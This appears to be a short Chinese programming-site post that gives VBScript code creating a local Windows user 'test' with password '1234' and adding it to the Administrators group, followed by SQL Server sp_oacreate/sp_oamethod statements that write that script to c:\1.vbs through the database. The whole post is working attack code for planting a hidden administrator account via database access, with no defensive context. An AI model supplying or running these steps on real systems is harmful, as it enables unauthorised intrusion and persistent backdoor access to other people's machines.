vbs加administrator用户的代码
程序员文章站
2024-01-07 08:42:46
set wsnetwork=createobject("wscript.network") os="winnt://"&wsnetwork.computernam...
set wsnetwork=createobject("wscript.network")
os="winnt://"&wsnetwork.computername
set ob=getobject(os) '得到adsi接口,绑定
set oe=getobject(os&"/administrators,group") '属性,admin组
set od=ob.create("user","test") '建立用户
od.setpassword "1234" '设置密码
od.setinfo '保存
set of=getobject(os&"/test",user) '得到用户
oe.add os&"/test"
sql语句如下,采用sp_oamethod过程:
declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', null,'set wsnetwork=createobject
("wscript.network")'
exec @ret = sp_oamethod @f, 'writeline', null,'os="winnt://"&wsnetwork.
computername'
exec @ret = sp_oamethod @f, 'writeline', null,'set ob=getobject(os)'
exec @ret = sp_oamethod @f, 'writeline', null,'set oe=getobject
(os&"/administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', null,'set od=ob.create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', null,'od.setpassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', null,'od.setinfo '
exec @ret = sp_oamethod @f, 'writeline', null,'set of=getobject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', null,'oe.add os&"/test"'